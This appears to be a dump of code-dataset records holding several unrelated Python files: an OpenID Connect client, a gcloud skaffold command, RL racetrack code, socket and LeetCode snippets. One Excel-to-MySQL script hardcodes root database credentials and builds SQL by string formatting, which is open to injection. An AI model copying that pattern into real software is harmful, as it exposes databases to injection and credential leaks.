try:\n request_args[\"redirect_uris\"] = cli_info.redirect_uris\n except AttributeError:\n raise MissingRequiredAttribute(\"redirect_uris\", request_args)\n\n try:\n if cli_info.provider_info[\n 'require_request_uri_registration'] is True:\n request_args['request_uris'] = cli_info.generate_request_uris(\n cli_info.requests_dir)\n except KeyError:\n pass\n\n return request_args, {}\n\n def oic_post_parse_response(self, resp, cli_info, **kwargs):\n cli_info.registration_response = resp\n if \"token_endpoint_auth_method\" not in cli_info.registration_response:\n cli_info.registration_response[\n \"token_endpoint_auth_method\"] = \"client_secret_basic\"\n cli_info.client_id = resp[\"client_id\"]\n try:\n cli_info.client_secret = resp[\"client_secret\"]\n except KeyError: # Not required\n pass\n else:\n try:\n cli_info.registration_expires = resp[\"client_secret_expires_at\"]\n except KeyError:\n pass\n try:\n cli_info.registration_access_token = resp[\n \"registration_access_token\"]\n except KeyError:\n pass\n\n\nclass UserInfo(Service):\n msg_type = Message\n response_cls = oic.OpenIDSchema\n error_msg = oic.UserInfoErrorResponse\n endpoint_name = 'userinfo_endpoint'\n synchronous = True\n request = 'userinfo'\n default_authn_method = 'bearer_header'\n http_method = 'GET'\n\n def __init__(self, httplib=None, keyjar=None, client_authn_method=None,\n conf=None):\n Service.__init__(self, httplib=httplib, keyjar=keyjar,\n client_authn_method=client_authn_method, conf=conf)\n self.pre_construct = [self.oic_pre_construct]\n self.post_parse_response.insert(0, self.oic_post_parse_response)\n\n def oic_pre_construct(self, cli_info, request_args=None, **kwargs):\n if request_args is None:\n request_args = {}\n\n if \"access_token\" in request_args:\n pass\n else:\n _tinfo = cli_info.state_db.get_token_info(**kwargs)\n request_args[\"access_token\"] = _tinfo['access_token']\n\n return request_args, {}\n\n def oic_post_parse_response(self, resp, client_info, **kwargs):\n resp = self.unpack_aggregated_claims(resp, client_info)\n return self.fetch_distributed_claims(resp, client_info)\n\n def unpack_aggregated_claims(self, userinfo, cli_info):\n try:\n _csrc = userinfo[\"_claim_sources\"]\n except KeyError:\n pass\n else:\n for csrc, spec in _csrc.items():\n if \"JWT\" in spec:\n aggregated_claims = Message().from_jwt(\n spec[\"JWT\"].encode(\"utf-8\"),\n keyjar=cli_info.keyjar)\n claims = [value for value, src in\n userinfo[\"_claim_names\"].items() if\n src == csrc]\n\n for key in claims:\n userinfo[key] = aggregated_claims[key]\n\n return userinfo\n\n def fetch_distributed_claims(self, userinfo, cli_info, callback=None):\n try:\n _csrc = userinfo[\"_claim_sources\"]\n except KeyError:\n pass\n else:\n for csrc, spec in _csrc.items():\n if \"endpoint\" in spec:\n if \"access_token\" in spec:\n _uinfo = self.service_request(\n spec[\"endpoint\"], method='GET',\n token=spec[\"access_token\"], client_info=cli_info)\n else:\n if callback:\n _uinfo = self.service_request(\n spec[\"endpoint\"],\n method='GET',\n token=callback(spec['endpoint']),\n client_info=cli_info)\n else:\n _uinfo = self.service_request(\n spec[\"endpoint\"],\n method='GET',\n client_info=cli_info)\n\n claims = [value for value, src in\n userinfo[\"_claim_names\"].items() if src == csrc]\n\n if set(claims) != set(list(_uinfo.keys())):\n logger.warning(\n \"Claims from claim source doesn't match what's in \"\n \"the userinfo\")\n\n for key, vals in _uinfo.items():\n userinfo[key] = vals\n\n return userinfo\n\n\ndef set_id_token(cli_info, request_args, **kwargs):\n if request_args is None:\n request_args = {}\n\n try:\n _prop = kwargs[\"prop\"]\n except KeyError:\n _prop = \"id_token\"\n\n if _prop in request_args:\n pass\n else:\n _state = get_state(request_args, kwargs)\n id_token = cli_info.state_db.get_id_token(_state)\n if id_token is None:\n raise MissingParameter(\"No valid id token available\")\n\n request_args[_prop] = id_token\n return request_args\n\n\nclass CheckSession(Service):\n msg_type = oic.CheckSessionRequest\n response_cls = Message\n error_msg = ErrorResponse\n endpoint_name = ''\n synchronous = True\n request = 'check_session'\n\n def __init__(self, httplib=None, keyjar=None, client_authn_method=None,\n conf=None):\n Service.__init__(self, httplib=httplib, keyjar=keyjar,\n client_authn_method=client_authn_method, conf=conf)\n self.pre_construct = [self.oic_pre_construct]\n\n def oic_pre_construct(self, cli_info, request_args=None, **kwargs):\n request_args = set_id_token(cli_info, request_args, **kwargs)\n return request_args, {}\n\n\nclass CheckID(Service):\n msg_type = oic.CheckIDRequest\n response_cls = Message\n error_msg = ErrorResponse\n endpoint_name = ''\n synchronous = True\n request = 'check_id'\n\n def __init__(self, httplib=None, keyjar=None, client_authn_method=None,\n conf=None):\n Service.__init__(self, httplib=httplib, keyjar=keyjar,\n client_authn_method=client_authn_method, conf=conf)\n self.pre_construct = [self.oic_pre_construct]\n\n def oic_pre_construct(self, cli_info, request_args=None, **kwargs):\n request_args = set_id_token(cli_info, request_args, **kwargs)\n return request_args, {}\n\n\nclass EndSession(Service):\n msg_type = oic.EndSessionRequest\n response_cls = Message\n error_msg = ErrorResponse\n endpoint_name = 'end_session_endpoint'\n synchronous = True\n request = 'end_session'\n\n def __init__(self, httplib=None, keyjar=None, client_authn_method=None,\n conf=None):\n Service.__init__(self, httplib=httplib, keyjar=keyjar,\n client_authn_method=client_authn_method, conf=conf)\n self.pre_construct = [self.oic_pre_construct]\n\n def oic_pre_construct(self, cli_info, request_args=None, **kwargs):\n request_args = set_id_token(cli_info, request_args, **kwargs)\n return request_args, {}\n\n\ndef factory(req_name, **kwargs):\n for name, obj in inspect.getmembers(sys.modules[__name__]):\n if inspect.isclass(obj) and issubclass(obj, Service):\n try:\n if obj.__name__ == req_name:\n return obj(**kwargs)\n except AttributeError:\n pass\n\n return service.factory(req_name, **kwargs)\n","sub_path":"src/oiccli/oic/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":22584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"513424602","text":"# -*- coding: utf-8 -*- #\n# Copyright 2019 Google LLC. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Command for running a local development environment.\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport contextlib\nimport os.path\nimport signal\nimport subprocess\nimport sys\nimport tempfile\n\nfrom googlecloudsdk.calliope import arg_parsers\nfrom googlecloudsdk.calliope import base\nfrom googlecloudsdk.command_lib.code import flags\nfrom googlecloudsdk.command_lib.code import kube_context\nfrom googlecloudsdk.command_lib.code import local\nfrom googlecloudsdk.command_lib.code import local_files\nfrom googlecloudsdk.core import config\nfrom googlecloudsdk.core.updater import update_manager\nfrom googlecloudsdk.core.util import files as file_utils\nfrom googlecloudsdk.core.util import platforms\nimport six\n\nDEFAULT_CLUSTER_NAME = 'gcloud-local-dev'\n\n\ndef _EmptyHandler(unused_signum, unused_stack):\n \"\"\"Do nothing signal handler.\"\"\"\n pass\n\n\nclass _SigInterruptedHandler(object):\n \"\"\"Context manager to capture CTRL-C and send it to a handler.\"\"\"\n\n def __init__(self, handler):\n self._orig_handler = None\n self._handler = handler\n\n def __enter__(self):\n self._orig_handler = signal.getsignal(signal.SIGINT)\n signal.signal(signal.SIGINT, self._handler)\n\n def __exit__(self, exc_type, exc_value, tb):\n signal.signal(signal.SIGINT, self._orig_handler)\n\n\ndef _FindOrInstallSkaffoldComponent():\n if (config.Paths().sdk_root or\n update_manager.UpdateManager.EnsureInstalledAndRestart(['skaffold'])):\n return os.path.join(config.Paths().sdk_root, 'bin', 'skaffold')\n return None\n\n\ndef _FindSkaffold():\n \"\"\"Find the path to the skaffold executable.\"\"\"\n skaffold = (\n file_utils.FindExecutableOnPath('skaffold') or\n _FindOrInstallSkaffoldComponent())\n if not skaffold:\n raise EnvironmentError('Unable to locate skaffold.')\n return skaffold\n\n\n@contextlib.contextmanager\ndef Skaffold(skaffold_config, context_name=None, additional_flags=None):\n \"\"\"Run skaffold and catch keyboard interrupts to kill the process.\n\n Args:\n skaffold_config: Path to skaffold configuration yaml file.\n context_name: Kubernetes context name.\n additional_flags: Extra skaffold flags.\n\n Yields:\n The skaffold process.\n \"\"\"\n cmd = [_FindSkaffold(), 'dev', '-f', skaffold_config, '--port-forward']\n if context_name:\n cmd += ['--kube-context', context_name]\n if additional_flags:\n cmd += additional_flags\n\n # Supress the current Ctrl-C handler and pass the signal to the child\n # process.\n with _SigInterruptedHandler(_EmptyHandler):\n try:\n p = subprocess.Popen(cmd)\n yield p\n except KeyboardInterrupt:\n p.terminate()\n p.wait()\n\n sys.stdout.flush()\n sys.stderr.flush()\n\n\n@base.ReleaseTracks(base.ReleaseTrack.ALPHA)\nclass Dev(base.Command):\n \"\"\"Run a service in a development environment.\n\n By default, this command runs the user's containers on minikube on the local\n machine. To run on another kubernetes cluster, use the --kube-context flag.\n\n When using minikube, if the minikube cluster is not running, this command\n will start a new minikube cluster with that name.\n \"\"\"\n\n @classmethod\n def Args(cls, parser):\n flags.CommonFlags(parser)\n\n group = parser.add_mutually_exclusive_group(required=False)\n\n group.add_argument('--kube-context', help='Kubernetes context.')\n\n group.add_argument('--minikube-profile', help='Minikube profile.')\n\n group.add_argument('--kind-cluster', help='Kind cluster.')\n\n parser.add_argument(\n '--stop-cluster',\n default=False,\n action='store_true',\n help='If running on minikube or kind, stop the minkube profile or '\n 'kind cluster at the end of the session.')\n\n parser.add_argument(\n '--minikube-vm-driver',\n help='If running on minikube, use this vm driver.')\n\n # For testing only\n parser.add_argument(\n '--additional-skaffold-flags',\n type=arg_parsers.ArgList(),\n metavar='FLAG',\n hidden=True,\n help='Additional flags with which to run skaffold.')\n\n def Run(self, args):\n settings = local.Settings.FromArgs(args)\n local_file_generator = local_files.LocalRuntimeFiles(settings)\n\n with tempfile.NamedTemporaryFile(mode='w+t') as kubernetes_config:\n with tempfile.NamedTemporaryFile(mode='w+t') as skaffold_config:\n kubernetes_config.write(six.u(local_file_generator.KubernetesConfig()))\n kubernetes_config.flush()\n skaffold_config.write(\n six.u(local_file_generator.SkaffoldConfig(kubernetes_config.name)))\n skaffold_config.flush()\n\n with self._GetKubernetesEngine(args) as context:\n with Skaffold(skaffold_config.name, context.context_name,\n args.additional_skaffold_flags) as skaffold:\n skaffold.wait()\n\n @classmethod\n def _GetKubernetesEngine(cls, args):\n \"\"\"Get the appropriate kubernetes implementation from the args.\n\n Args:\n args: The namespace containing the args.\n\n Returns:\n The context manager for the appropriate kubernetes implementation.\n \"\"\"\n\n def External():\n return kube_context.ExternalClusterContext(args.kube_context)\n\n def Kind():\n if args.IsSpecified('kind_cluster'):\n cluster_name = args.kind_cluster\n else:\n cluster_name = DEFAULT_CLUSTER_NAME\n return kube_context.KindClusterContext(cluster_name, args.stop_cluster)\n\n def Minikube():\n if args.IsSpecified('minikube_profile'):\n cluster_name = args.minikube_profile\n else:\n cluster_name = DEFAULT_CLUSTER_NAME\n\n return kube_context.Minikube(cluster_name, args.stop_cluster,\n args.minikube_vm_driver)\n\n if args.IsSpecified('kube_context'):\n return External()\n elif args.IsSpecified('kind_cluster'):\n return Kind()\n elif args.IsSpecified('minikube_profile'):\n return Minikube()\n elif platforms.OperatingSystem.Current() == platforms.OperatingSystem.LINUX:\n return Kind()\n else:\n return Minikube()\n","sub_path":"google-cloud-sdk/lib/surface/code/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":6689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"244415090","text":"#! python3\r\n\r\nimport webbrowser,pyperclip,sys\r\n\r\nif len(sys.argv) > 1:\r\n arg = sys.argv\r\n address = ''.join(arg[1:])\r\nelse:\r\n address = pyperclip.paste()\r\n\r\nwebbrowser.open('https://www.google.com/maps/place/' + address)\r\n","sub_path":"mapit.py","file_name":"mapit.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"100825906","text":"#!/usr/bin/python3\nimport random\n\nSEPARATOR = \"_\"\nDISCOUNT_RATE = 0.7\n\n\nclass RLBase:\n \"\"\"\n Base class for rl_model_based (Model Based RL) and rl_model_free (Model Free\n RL). This class provides common methods and variables shared by the two \n classes\n \"\"\"\n\n def __init__(self, simulator):\n \"\"\"\n Constructor of a model based reinforcement learning\n \"\"\"\n # Environment\n self._simulator = simulator\n self._track = simulator.track\n self._car = simulator.car\n # Time\n self._t = 0\n # Discount factor\n self._gamma = 0.7\n\n # actions_set is all the possible actions the agent could take in the\n # environment\n self._actions_set = set()\n self.init_actions_set()\n\n # states_set is all the possible state in the given environment and\n # agent. ie. track and car.\n self._states_set = set()\n self.init_states_set()\n\n \n def get_attributes(self):\n \"\"\"\n Get the attribute of model\n \"\"\"\n return {\n \"Discount Factor\": self._gamma\n }\n\n\n def init_states_set(self):\n \"\"\"\n Get all the possible states in the problem. For this problem, a state\n for any given point on the track is a variation of the velocity.\n \"\"\"\n track_map = self._track.get_map()\n velocity_ranges = self._car.get_velocity_range()\n\n for row_index in range(len(track_map)):\n for col_index in range(len(track_map[row_index])):\n # If the coordinate is not a wall on the map, then it should\n # have a state.\n if not self._track.isWall(col_index, row_index):\n for velocity_x in velocity_ranges[0]:\n for velocity_y in velocity_ranges[1]:\n from_state = self.encode_state(\n col_index, row_index, velocity_x, velocity_y)\n self.add_state(from_state)\n\n\n def add_state(self, from_state):\n \"\"\"\n Add the given state to the state set for each valid action\n \"\"\"\n # skip the states that any action won't be able avoid a crash\n for action in self._actions_set:\n if not self.will_crash(from_state, action):\n self._states_set.add(from_state)\n break\n\n\n def encode_state(self, x, y, vx, vy):\n \"\"\"\n Get the encoded state by concating coordinate x, y and velocity x, y \n using underscore. ie. (x, y, vx, vy) => x_y_vx_vy\n \"\"\"\n return SEPARATOR.join(str(item) for item in [x, y, vx, vy])\n\n def decode_state(self, encoded_state):\n \"\"\"\n Decode the given encoded state into parameters\n ie. (x, y, vx, vy) <= x_y_vx_vy\n \"\"\"\n splitted = encoded_state.split(SEPARATOR)\n return {\n \"x\": int(splitted[0]),\n \"y\": int(splitted[1]),\n \"vx\": int(splitted[2]),\n \"vy\": int(splitted[3]),\n }\n\n def init_actions_set(self):\n \"\"\"\n Initialize the actions set with all the possible action combination for\n x and y direction. \n \"\"\"\n acceleration_options = self._car.get_acceleration_options()\n for ax in acceleration_options[0]:\n for ay in acceleration_options[1]:\n self._actions_set.add(self.encode_action(ax, ay))\n\n def encode_action(self, ax, ay):\n \"\"\"\n Get the encoded action by concating action ax and ay. \n ie. (ax, ay) => ax_ay\n \"\"\"\n return SEPARATOR.join([str(ax), str(ay)])\n\n def decode_action(self, encoded_action):\n \"\"\"\n Decode the given encoded action into parameters\n ie. (ax, ay) <= ax_ay\n \"\"\"\n splitted = encoded_action.split(SEPARATOR)\n return {\n \"ax\": int(splitted[0]),\n \"ay\": int(splitted[1])\n }\n\n def simulate(self, from_state, action):\n \"\"\"\n Simulate the action is applied for a car at the from_state\n \"\"\"\n from_decoded = self.decode_state(from_state)\n action_decoded = self.decode_action(action)\n self._simulator.simulate(\n from_decoded.get(\"x\"), from_decoded.get(\"y\"),\n from_decoded.get(\"vx\"), from_decoded.get(\"vy\"),\n action_decoded.get(\"ax\"), action_decoded.get(\"ay\"))\n\n def reward(self, from_state, action):\n \"\"\"\n Calculate the reward for the from state and action\n \"\"\"\n if self.will_finish(from_state, action):\n # Use 0 to incentivize navigation to finish line\n return 0\n return -1\n\n def will_crash(self, from_state, action):\n \"\"\"\n Simulate to see if car will crash\n \"\"\"\n self.simulate(from_state, action)\n return self._simulator.has_crashed()\n\n\n def will_finish(self, from_state, action):\n \"\"\"\n Simulate to see if car will finish\n \"\"\"\n self.simulate(from_state, action)\n return self._simulator.has_finished()\n\n def will_stay(self, from_state, action):\n \"\"\"\n \"\"\"\n self.simulate(from_state, action)\n to_state = self.get_cur_state()\n return from_state == to_state\n\n def get_cur_state(self):\n \"\"\"\n Get the curernt state of the car\n \"\"\"\n x, y = self._simulator.car.get_position()\n vx, vy = self._simulator.car.get_velocity()\n from_state = self.encode_state(x, y, vx, vy)\n return from_state","sub_path":"Project7/rl_base.py","file_name":"rl_base.py","file_ext":"py","file_size_in_byte":5546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"85121036","text":"from deepMerge import nt2vec\nimport click\n\n@click.command()\n@click.option('--input-file', default='', help='tabular file where the first field is the fasta file and the second field the label of the fasta file')\n@click.option('--output-file', default='', help='output file to write the model')\n@click.option('--training-chunk', default=1000, help='Number of genomes used to train the model iteratively (default 1000).')\n@click.option('--kmer-size', default=31, help='Decompose the genomes into k length mers (31 default)')\n@click.option('--embedding-size', default=100, help='Length of embedding vector size (100 default)')\n@click.option('--epochs', default=10, help='Number of training epochs (10 default)')\ndef quant(input_file, output_file, training_chunk, kmer_size, embedding_size, epochs):\n ''' This script generates iteratively word vectors for an input corupus of full size genomes (or any sequences).\n It decomposes the sequences into kmers and repeats using an sliding window of 1. Thus, there will be k versions of\n the same genome shifted by one nucleotide.\n\n Because large corpus would take long to compute the word vectors, we implemented a training-chunk of the input files. This means that the\n model will be created and updated iteratively. This approach can be risky as it can vanish the already computed weights. need more exploration.\n\n The output is the gensim model that can be used to compute the word vectors of any input sequence.\n '''\n if not input_file:\n print('\\nUsage: No input file, type --help\\n')\n exit()\n\n nt2vec.build(\n genome_list=input_file,\n model_filename=output_file,\n max_epochs=epochs,\n kmer=kmer_size,\n vec_size=embedding_size,\n )\n","sub_path":"deepMerge/quant.py","file_name":"quant.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"557187120","text":"import socket\n\n# 实例化\nsk = socket.socket()\n\n# 连接\nsk.connect(('127.0.0.1',8080))\n\n# 接收服务端发来的信息\nmsg = sk.recv(1024)\nprint(msg.decode('utf-8'))\n\nwhile True:\n # 给服务端发信息\n data = input('>>>')\n if data == 'q':\n break\n sk.send(('client1:'+data).encode('utf-8'))\n\n # 接收信息\n # msg2 = sk.recv(1024)\n # print(msg2.decode('utf-8'))\n\n# 关闭连接\nsk.close()","sub_path":"5网络编程/socketserver/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"5597124","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\n# O(n), O(n) solution\n# Runtime: 112 ms, faster than 81.73% of Python3\n# Memory Usage: 18.7 MB, less than 91.55% of Python3\nclass Codec:\n\n def serialize(self, root) -> list:\n \"\"\"Encodes a tree to a single string.\n\n :type root: TreeNode\n :rtype: str\n \"\"\"\n\n def rec(root: TreeNode) -> None:\n if not root:\n ans.append(None)\n return\n ans.append(root.val)\n rec(root.left)\n rec(root.right)\n\n ans = list()\n rec(root)\n return ans\n\n def deserialize(self, data) -> TreeNode:\n \"\"\"Decodes your encoded data to tree.\n\n :type data: str\n :rtype: TreeNode\n \"\"\"\n if not data or data[0] == None:\n return None\n\n reversed_data = data[::-1]\n\n def rec() -> TreeNode:\n popped_val = reversed_data.pop()\n\n if popped_val is None:\n return None\n else:\n root = TreeNode()\n root.val = popped_val\n root.left = rec()\n root.right = rec()\n return root\n\n return rec()\n\n# Your Codec object will be instantiated and called as such:\n# ser = Codec()\n# deser = Codec()\n# ans = deser.deserialize(ser.serialize(root))","sub_path":"Minseo-Kim/leetcode/297_Serialize_and_deserialize_binary_tree.py","file_name":"297_Serialize_and_deserialize_binary_tree.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"585813261","text":"\"\"\"\nDescription:\nGiven a grid with each cell consisting of positive, negative or no points i.e, zero points. We can move across a cell\nonly if we have positive points ( > 0 ). Whenever we pass through a cell, points in that cell are added to our\noverall points. We need to find minimum initial points to reach cell (m-1, n-1) from (0, 0) by following these\ncertain set of rules :\n1.From a cell (i, j) we can move to (i+1, j) or (i, j+1).\n2.We cannot move from (i, j) if your overall points at (i, j) is <= 0.\n3.We have to reach at (n-1, m-1) with minimum positive points i.e., > 0.\n\n\nInput:\nThe first line contains an integer 'T' denoting the total number of test cases.In each test cases, the first line\ncontains two integer 'R' and 'C' denoting the number of rows and column of array. The second line contains the value\nof the array i.e the grid, in a single line separated by spaces in row major order.\nConstraints:\n1 ≤ T ≤ 30\n1 ≤ R,C ≤ 10\n-30 ≤ A[R][C] ≤ 30\nInput: points[m][n] = { {-2, -3, 3},\n{-5, -10, 1},\n{10, 30, -5}\n};\n1\n3 3\n-2 -3 3 -5 -10 1 10 30 -5\n\nOutput:\nPrint the minimum initial points to reach the bottom right most cell in a separate line.\n7\nExplanation:\n7 is the minimum value to reach destination with\npositive throughout the path. Below is the path.\n(0,0) -> (0,1) -> (0,2) -> (1, 2) -> (2, 2)\nWe start from (0, 0) with 7, we reach(0, 1)\nwith 5, (0, 2) with 2, (1, 2) with 5, (2, 2)with and finally we have 1 point (we needed\ngreater than 0 points at the end).\n7\n\"\"\"\n\n\ndef min_initial_points(points, a, b):\n dp = [[0 for x in range(b + 1)] for y in range(a + 1)]\n m, n = a, b\n if points[m - 1][n - 1] > 0:\n dp[m - 1][n - 1] = 1\n else:\n dp[m - 1][n - 1] = abs(points[m - 1][n - 1]) + 1\n for i in range(m - 2, -1, -1):\n dp[i][n - 1] = max(dp[i + 1][n - 1] - points[i][n - 1], 1)\n for i in range(2, -1, -1):\n dp[m - 1][i] = max(dp[m - 1][i + 1] - points[m - 1][i], 1)\n for i in range(m - 2, -1, -1):\n for j in range(n - 2, -1, -1):\n min_points_on_exit = min(dp[i + 1][j], dp[i][j + 1])\n dp[i][j] = max(min_points_on_exit - points[i][j], 1)\n return dp[0][0]\n\n\ncase_num = int(input())\nfor i in range(case_num):\n points = []\n arr = list(map(int, input().strip().split()))\n a = arr[0]\n b = arr[1]\n arr = list(map(int, input().strip().split()))\n for j in range(a):\n points.append(arr[j * b:(j + 1) * b])\n print(min_initial_points(points, a, b))\n","sub_path":"online4/problem4.py","file_name":"problem4.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"543769901","text":"# Copyright 2018 The TensorFlow Constrained Optimization Authors. All Rights\n# Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy of\n# the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n# ==============================================================================\n\"\"\"Contains internal helpers.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\n\nclass RateObject(object):\n \"\"\"Empty base class for all rate objects.\n\n Every class involving the rate helpers will inherit from this one. This\n enables us to easily check, using isinstance(..., RateObject), whether an\n object comes from inside or outside of this library. This is especially useful\n for distinguishing between input types (e.g. `Tensor`s, numpy arrays, scalars,\n lists, etc.) and internal abstract representations of operations (e.g. `Term`,\n `BasicExpression`, `Expression`), and thereby ensuring that each class of\n types is encountered only where it is expected.\n \"\"\"\n\n\ndef convert_to_1d_tensor(tensor, name=None):\n \"\"\"Converts the given object to a rank-one `Tensor`.\n\n This function checks that the object is trivially convertible to rank-1, i.e.\n has only one \"nontrivial\" dimension (e.g. the shapes [1000] and [1, 1, None,\n 1] are allowed, but [None, 1, None] and [50, 10] are not). If it satisfies\n this condition, then it is returned as a rank-1 `Tensor`.\n\n Args:\n tensor: an object convertible to a `Tensor` (e.g. a scalar, list, numpy\n array, or a `Tensor` itself).\n name: str, how to refer to the tensor in error messages.\n\n Returns:\n A rank-1 `Tensor`.\n\n Raises:\n ValueError: if the resulting tensor is not rank-1.\n \"\"\"\n tensor = tf.convert_to_tensor(tensor, name=name)\n name = name or \"tensor\"\n\n dims = tensor.shape.dims\n if dims is None:\n raise ValueError(\"%s must have a known rank\" % name)\n\n # If the Tensor is already rank-1, then return it without wrapping a\n # tf.reshape() around it.\n if len(dims) == 1:\n return tensor\n\n if sum(dim.value != 1 for dim in dims) > 1:\n raise ValueError(\"all but one dimension of %s must have size one\" % name)\n\n # Reshape to a rank-1 Tensor.\n return tf.reshape(tensor, (-1,))\n\n\ndef get_num_columns_of_2d_tensor(tensor, name=\"tensor\"):\n \"\"\"Gets the number of columns of a rank-two `Tensor`.\n\n Args:\n tensor: a rank-2 `Tensor` with a known number of columns.\n name: str, how to refer to the tensor in error messages.\n\n Returns:\n The number of columns in the tensor.\n\n Raises:\n TypeError: if \"tensor\" is not a `Tensor`.\n ValueError: if \"tensor\" is not a rank-2 `Tensor` with a known number of\n columns.\n \"\"\"\n if not tf.is_tensor(tensor):\n raise TypeError(\"%s must be a tensor\" % name)\n\n dims = tensor.shape.dims\n if dims is None:\n raise ValueError(\"%s must have a known rank\" % name)\n if len(dims) != 2:\n raise ValueError(\"%s must be rank 2 (it is rank %d)\" % (name, len(dims)))\n\n columns = dims[1].value\n if columns is None:\n raise ValueError(\"%s must have a known number of columns\" % name)\n\n return columns\n","sub_path":"tensorflow_constrained_optimization/python/rates/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"349166406","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom network import Network, Neuron\n\nif __name__ == \"__main__\":\n '''\n Set up network\n '''\n simulation_steps = 4\n connections = 3\n seed = 81549300\n n_neurons = 5\n activity = []\n network = Network(seed, connections, n_neurons)\n\n '''\n Run network for initial steps\n '''\n for i in range(0, 9):\n activity.append(network.step())\n #print(activity[i].size)\n '''\n Input different stimuli\n '''\n u1 = [0.0, 0.0, 0.0, 0.0]\n activity_u1 = []\n for stimuli in u1:\n network.add_stimuli(stimuli)\n activity_u1.append(network.step())\n\n '''\n Set up new network\n '''\n simulation_steps = 4\n connections = 3\n seed = 81549300\n n_neurons = 5\n activity2 = []\n network2 = Network(seed, connections, n_neurons)\n\n '''\n Run network for initial steps\n '''\n for i in range(0, 9):\n activity2.append(network2.step())\n #print(activity2[i].size)\n '''\n input stimuli\n '''\n u2 = [1.0, 1.0, 1.0, 1.0]\n #u2 = [0.0, 0.0, 0.0, 0.0]\n activity_u2 = []\n for stimuli in u2:\n network2.add_stimuli(stimuli)\n activity_u2.append(network2.step())\n\n '''\n Measure distance in stimuli\n '''\n hamming_distance_u1_u2 = []\n\n for timestep in range(0, len(activity_u1)-1):\n for neuron in range(0, n_neurons):\n if activity_u1[timestep][neuron] != activity_u1[timestep][neuron]:\n print(\"som\")\n","sub_path":"separability.py","file_name":"separability.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"283997267","text":"import xlrd\n\n\ndef read_excel():\n # 打开文件\n workbook = xlrd.open_workbook(r'C:\\Users\\litao\\Documents\\Tencent Files\\943571775\\FileRecv\\2018.04.28最新黑名单公司.xlsx')\n print(workbook.sheet_names()) # [u'sheet1', u'sheet2']\n # sheet2_name = workbook.sheet_names()[1]\n\n # 根据sheet索引或者名称获取sheet内容\n sheet2 = workbook.sheet_by_index(0) # sheet索引从0开始\n # sheet2 = workbook.sheet_by_name('sheet2')\n\n # sheet的名称,行数,列数\n print(sheet2.name, sheet2.nrows, sheet2.ncols)\n # # 获取单元格内容\n for i in range(17,234):\n name = sheet2.cell(i, 0).value\n address = sheet2.cell(i, 1).value\n data = sheet2.cell(i, 2).value\n charu(name, address, data)\n\n # print(sheet2.cell_value(1, 0).encode('utf-8'))\n # print(sheet2.row(1)[0].value.encode('utf-8'))\n #\n # # 获取单元格内容的数据类型\n # print(sheet2.cell(1, 0).ctype)\n\n\ndef charu(Name, Address, Data):\n import pymysql.cursors\n import datetime\n\n # 连接MySQL数据库\n connection = pymysql.connect(host='47.98.49.70', port=3306, user='root', password='123456', db='test',\n charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor)\n\n # 通过cursor创建游标\n cursor = connection.cursor()\n\n # 执行数据查询\n a = datetime.datetime.now()\n sql = \"\"\"INSERT INTO blackList_blacklist (CompanyName, CompanyAddress, ComplainData, createTime, status) \n VALUES ('%s','%s','%s', '%s', 1)\"\"\" % (Name, Address, Data, a)\n # cursor.execute(sql2)\n # sql = \"SELECT * FROM blackList_blacklist\"\n # print(type(cursor.fetchall()[0][\"createTime\"]))\n cursor.execute(sql)\n connection.commit()\n cursor.close()\n\n\nif __name__ == '__main__':\n read_excel()","sub_path":"读取excel导入mysql.py","file_name":"读取excel导入mysql.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"397823284","text":"class Solution(object):\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n difference = []\n for i in range(len(prices) - 1):\n difference.append(prices[i+1] - prices[i])\n # cummulative = []\n cummulative = 0\n for i in difference:\n cummulative += max(0, i)\n \n return cummulative\n\n\n","sub_path":"easy/122. 